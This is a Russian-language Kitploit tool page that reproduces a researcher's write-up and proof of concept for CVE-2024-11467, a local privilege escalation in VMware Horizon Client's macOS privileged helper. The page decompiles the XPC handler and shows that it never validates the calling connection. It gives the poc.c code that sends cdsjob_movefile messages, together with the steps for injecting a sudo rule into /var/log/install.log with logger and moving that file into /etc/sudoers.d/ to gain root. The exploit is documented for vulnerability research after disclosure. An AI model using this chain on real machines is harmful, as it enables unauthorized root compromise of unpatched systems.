Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-11467 — VMWare Horizon клиент для macOS LPE из-за логической ошибки XPC. Запоздалый POC для 0-day, который я ответственно раскрыл Omnissa. | Kitploit
Инструменты/GitHubGitHub/null-event/cve-2024-11467
Повышение привилегийАнализ уязвимостейАнализ КодаЭксплуатацияОбратная инженерияТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubnull-event/cve-2024-11467

CVE-2024-11467

VMWare Horizon клиент для macOS LPE из-за логической ошибки XPC. Запоздалый POC для 0-day, который я ответственно раскрыл Omnissa.

Репозиторий
6 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-11467

Операционная система macOS использует службы XPC для базовой межпроцессной связи между различными процессами, например, между демоном XPC Service и привилегированными вспомогательными инструментами сторонних приложений. Клиент VMware Horizon Client при установке регистрирует привилегированный помощник com.vmware.horizon.CDSHelper в каталоге /Library/PrivilegedHelperTools/.

Следует также отметить, что имя mach com.vmware.horizon.CDSHelper используется привилегированным помощником для прослушивания входящих XPC-соединений, как показано выше. Затем с помощью стандартных инструментов разработчика macOS были извлечены символы из двоичного файла помощника, чтобы убедиться, что он использует XPC:

root@kitploit:~
» nm -a /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper | grep -i xpc                                                                                       
                 U __xpc_error_connection_invalid
                 U __xpc_error_key_description
                 U __xpc_type_connection
                 U __xpc_type_dictionary
                 U __xpc_type_error
                 U _xpc_connection_create_mach_service
                 U _xpc_connection_get_pid
                 U _xpc_connection_resume
                 U _xpc_connection_send_message
                 U _xpc_connection_set_event_handler
                 U _xpc_dictionary_create_reply
                 U _xpc_dictionary_get_remote_connection
                 U _xpc_dictionary_get_string
                 U _xpc_dictionary_set_int64
                 U _xpc_get_type
                 U _xpc_release

Затем инструмент Hopper Disassembler был использован для загрузки помощника в декомпилятор для дальнейшего реверс-инжиниринга, как показано ниже: open -a /Applications/Hopper\ Disassembler\ v4.app /Library/PrivilegedHelperTools/com.vmware.horizon.CDSHelper Функция EntryPoint() была найдена и проанализирована, подтвердив, что она представляет собой основную точку входа CDSHelper.

Функция sub_100005fa0 была декомпилирована, что подтвердило использование привилегированным помощником клиента VMWare Horizon Client API служб XPC — это API нижнего уровня на C, предоставляемый Apple, в отличие от API соединений XPC, который находится на уровне Objective‑C/Swift:

root@kitploit:~
int sub_100005fa0(int arg0, int arg1) {
    sub_1000063d4("Starting service: %s\n");
    r0 = xpc_connection_create_mach_service(arg0, 0x0, 0x1);
    xpc_connection_set_event_handler(r0, &var_38);
    r0 = xpc_connection_resume(r20);
    dispatch_main();
    return r0;
}

После создания службы mach (через xpc_connection_create_mach_service(com.vmware.horizon.CDSHelper)) обмен сообщениями между клиентом и XPC-службой Horizon Client осуществляется через объекты словарей XPC, создаваемые методом xpc_dictionary_create(). В этот словарь можно добавлять значения с помощью методов, предоставляемых Apple разработчикам; обычно они начинаются с xpc_dictionary_set_. Клиент может отправлять эти объекты словаря XPC в XPC-службу через такие методы, как xpc_connection_send_. На стороне XPC-службы Horizon Client регистрируется обработчик, который может обрабатывать полученные от клиента объекты словаря XPC. Это делается с помощью метода xpc_connection_set_event_handler(). Наконец, значения из полученного объекта словаря XPC считываются с помощью таких методов, как xpc_dictionary_get_*. После возврата EntryPoint() из CDSHelper вызывается функция sub_100056d0:

изображение

На этом этапе управление передаётся sub_1000056ec, которая выполняет основную работу по обработке входящих XPC-сообщений. Полный декомпилированный код функции приведён ниже. Уязвимые участки будут рассмотрены сразу после него.

root@kitploit:~
int sub_1000056ec(int arg0, int arg1) {
    r31 = r31 - 0x90;
    var_30 = r24;
    stack[-56] = r23;
    var_20 = r22;
    stack[-40] = r21;
    var_10 = r20;
    stack[-24] = r19;
    saved_fp = r29;
    stack[-8] = r30;
    r19 = arg1;
    var_38 = **___stack_chk_guard;
    sub_1000063d4("CDSHelper: The cds helper will call HelperMain.\n");
    r0 = xpc_dictionary_get_string(r19, "cdsjob");
    if (r0 == 0x0) goto loc_1000057bc;

loc_100005738:
    r20 = r0;
    r0 = sub_1000063d4("CDSHelper:  cdsJob is %s.\n");
    if (strcmp(r20, "cdsjob_runscript") == 0x0) goto loc_100005818;

loc_100005760:
    if (strcmp(r20, "cdsjob_movefile") == 0x0) goto loc_1000058c4;

loc_100005774:
    if (strcmp(r20, "cdsjob_installpackage") == 0x0) {
            if (**___stack_chk_guard == var_38) {
                    r0 = sub_100005498(r19);
            }
            else {
                    __stack_chk_fail();
            }
    }
    else {
            r0 = sub_100005380(r19, 0x16);
            sub_100006434("NOT_REACHED %s:%d\n");
    }
    return r0;

loc_1000058c4:
    r0 = sub_1000068b8();
    if (r0 == 0x0) goto loc_100005980;

loc_1000058d4:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_srcfile");
    r20 = r0;
    if (r0 == 0x0) goto loc_1000059b0;

loc_1000058f0:
    r0 = xpc_dictionary_get_string(r19, "cds_movefile_dstdir");
    r21 = r0;
    if (r0 == 0x0) goto loc_1000059f8;

loc_100005908:
    sub_1000069b8();
    sub_1000069b8();
    sub_100006998();
    if (0x0 == 0x0) goto loc_100005a60;

loc_100005948:
    sub_100006978();
    sub_1000067b8();
    r0 = "CDSHelper:  Failed to move the file : %s.\n";
    goto loc_100005a00;

loc_100005a00:
    sub_1000063d4(r0);
    goto loc_100005a04;

loc_100005a04:
    r22 = 0x16;
    strerror(0x16);
    sub_1000063d4("CDSHelper: The cds moving failed : %s from %s to %s!\n");
    goto loc_100005a24;

loc_100005a24:
    r0 = r19;
    r1 = r22;
    goto loc_100005a2c;

loc_100005a2c:
    r0 = sub_100005380(r0, r1);
    if (**___stack_chk_guard != var_38) {
            __stack_chk_fail();
    }
    return r0;

loc_100005a60:
    sub_1000063d4("CDSHelper: The cds moving ran successfully!\n");
    r22 = 0x0;
    goto loc_100005a24;

loc_1000059f8:
    r0 = "CDSHelper:  Invalid parameter of moving: destination dir.\n";
    goto loc_100005a00;

loc_1000059b0:
    sub_1000063d4("CDSHelper:  Invalid parameter of moving: source file.\n");
    r21 = 0x0;
    goto loc_100005a04;

loc_100005980:
    sub_1000063d4("CDSHelper:  Failed to get the invalid file manager.\n");
    r21 = 0x0;
    r20 = 0x0;
    goto loc_100005a04;

loc_100005818:
    r0 = xpc_dictionary_get_string(r19, "vmwareid");
    if (r0 == 0x0) goto loc_100005960;

loc_10000582c:
    r20 = r0;
    r0 = xpc_dictionary_get_string(r19, "path");
    if (r0 == 0x0) goto loc_10000596c;

loc_100005844:
    r21 = r0;
    if ((sub_100005df4(r20, "vmware-id") & 0x1) == 0x0) goto loc_100005998;

loc_10000585c:
    r0 = xpc_dictionary_get_string(r19, "appDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005870:
    r22 = r0;
    r0 = xpc_dictionary_get_string(r19, "tempDir");
    if (r0 == 0x0) goto loc_1000059c4;

loc_100005888:
    sub_100006460();
    sub_1000063d4("CDSHelper:  The cds script %s is running...\n");
    r0 = sub_100005410(&var_60);
    r20 = r0;
    if (r0 == 0x0) {
            r0 = "CDSHelper: The cds script ran successfully!\n";
    }
    else {
            strerror(r20);
            r0 = "CDSHelper: The cds script failed to run : %s!\n";
    }
    goto loc_1000059e8;

loc_1000059e8:
    sub_1000063d4(r0);
    r0 = r19;
    r1 = r20;
    goto loc_100005a2c;

loc_1000059c4:
    r0 = "CDSHelper:  Invalid parameter.\n";
    goto loc_1000059cc;

loc_1000059cc:
    sub_1000063d4(r0);
    r20 = 0x16;
    goto loc_1000059d4;

loc_1000059d4:
    strerror(r20);
    r0 = "CDSHelper: The cds script failed to run : %s!\n";
    goto loc_1000059e8;

loc_100005998:
    sub_1000063d4("CDSHelper:  Invalid script codesigning for %s.\n");
    r20 = 0xd;
    goto loc_1000059d4;

loc_10000596c:
    sub_1000063d4("CDSHelper:  Invalid script path.\n");
    r20 = 0x2d;
    goto loc_1000059d4;

loc_100005960:
    r0 = "CDSHelper:  Invalid vmwareid.\n";
    goto loc_1000059cc;

loc_1000057bc:
    sub_1000063d4("CDSHelper:  Invalid cdsJob.\n");
    strerror(0x16);
    r0 = sub_1000063d4("CDSHelper: The cds script failed to run : %s!\n");
    if (**___stack_chk_guard == var_38) {
            r0 = sub_100005380(r19, 0x16);
    }
    else {
            __stack_chk_fail();
    }
    return r0;
}

Как показано ниже, привилегированный помощник сначала получает значение cdsjob с помощью метода xpc_dictionary_get_string(). Далее есть три возможные строки, которые ожидает помощник:

  • cdsjob_runscript
  • cdsjob_movefile
  • cdsjob_installpackage
изображение

Если при сравнении строк обнаружено совпадение с cdsjob_movefile, CDSHelper продолжает выполнение в loc_1000058c4, как показано ниже. С помощью метода xpc_dictionary_get_string() проверяются ещё две строки:

  • cds_movefile_srcfile
  • cds_movefile_dstdir
изображение

После того как привилегированный помощник получил эти две дополнительные строки, вызываются ещё три функции:

  • sub_1000069b8
  • sub_1000069b8
  • sub_100006998 Эти функции были проанализированы и представлены ниже. Возвращается строка, созданная копированием данных из заданного C-массива UTF8-кодированных байтов (https://developer.apple.com/documentation/foundation/nsstring/1497379-stringwithutf8string):
root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Возвращается вторая строка:

root@kitploit:~
void sub_1000069b8() {
    [r0 stringWithUTF8String:r2];
    return;
}

Перемещение файла или каталога по пути, указанному в cds_movefile_srcfile, в новое местоположение по пути cds_movefile_dstdir (https://developer.apple.com/documentation/foundation/nsfilemanager/1413529-moveitematpath):

root@kitploit:~
void sub_100006998() {
    [r0 moveItemAtPath:r2 toPath:r3 error:r4];
    return;
}

На этом этапе, если не возникает ошибок файловой системы, CDSHelper успешно перемещает файл, записывает следующее сообщение и возвращает управление: CDSHelper: The cds moving ran successfully! Следует отметить, что в ходе данной операции привилегированный помощник не выполняет никаких проверок входящего клиентского соединения (например, проверку подписи с помощью строки SecRequirement, идентификатора пакета соединения, идентификатора команды, подписания сертификатом Apple и т.д.). Таким образом, злоумышленник может инициировать допустимое XPC-соединение и принудить привилегированного помощника перемещать произвольные файлы с повышенными привилегиями. Это открывает возможность повышения привилегий вплоть до полной компрометации операционной системы, как показано ниже. Следующие значения словаря XPC были сначала установлены и отправлены, чтобы доказать произвольную перезапись файлов от root:

root@kitploit:~
    xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
    xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/private/tmp/ticket-Sf12p9");
    xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/private/tmp/ticket-Sf12p91337");

Однако, поскольку CDSHelper инициализирует объект файлового менеджера с помощью defaultManager вместо fileManagerWithAuthorization в декомпилированной функции sub_1000068b8, привилегированный помощник учитывает владельца файла при перемещении; то есть файлы, изначально принадлежащие не-root пользователям, не становятся принадлежащими root в процессе перемещения. Следовательно, чтобы повысить привилегии, переместив файл в такой каталог, как /etc/sudoers.d/, злоумышленнику необходимо найти файл, который уже принадлежит root, не доступен для записи всем и содержимое которого можно частично контролировать до перемещения с помощью функции CDSHelper. Как показано ниже, можно частично управлять содержимым /var/log/install.log с помощью утилиты командной строки logger; это файл, который соответствует условиям эксплуатации:

root@kitploit:~
» ls -la /var/log/install.log                                                                                                                                                  
-rw-r--r--@ 1 root  admin  420902 Oct 20 18:46 /var/log/install.log

Можно вставить допустимую строку конфигурации sudo в файл журнала с помощью logger, указав приоритет install.error и добавив новую строку с помощью возврата каретки.

Соответствующие строки из POC эксплойта (см. poc.c) для перемещения упомянутого файла журнала в каталог /etc/sudoers.d/ как myfile показаны ниже:

root@kitploit:~
xpc_object_t my_message;

my_message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(my_message, "cdsjob", "cdsjob_movefile");
xpc_dictionary_set_string(my_message, "cds_movefile_srcfile", "/var/log/install.log");
xpc_dictionary_set_string(my_message, "cds_movefile_dstdir", "/etc/sudoers.d/myfile");

Обратите внимание: при получении команды, выполняемой через sudo, операционная система будет анализировать файл журнала, выводить в stdout несколько ошибок, связанных с некорректным синтаксисом записей журнала в процессе, и в конечном итоге продолжит работу, пока не дойдёт до единственной строки допустимого синтаксиса, которая была внедрена.

Таким образом, эксплойт успешно перемещает внедрённый файл журнала в каталог /etc/sudoers.d/ и показывает, что можно создать новый файл по адресу /tmp/vmwarebeware через sudo, что доказывает успешное повышение привилегий в операционной системе macOS с помощью привилегированного помощника VMWare Horizon Client.

Скачать инструмент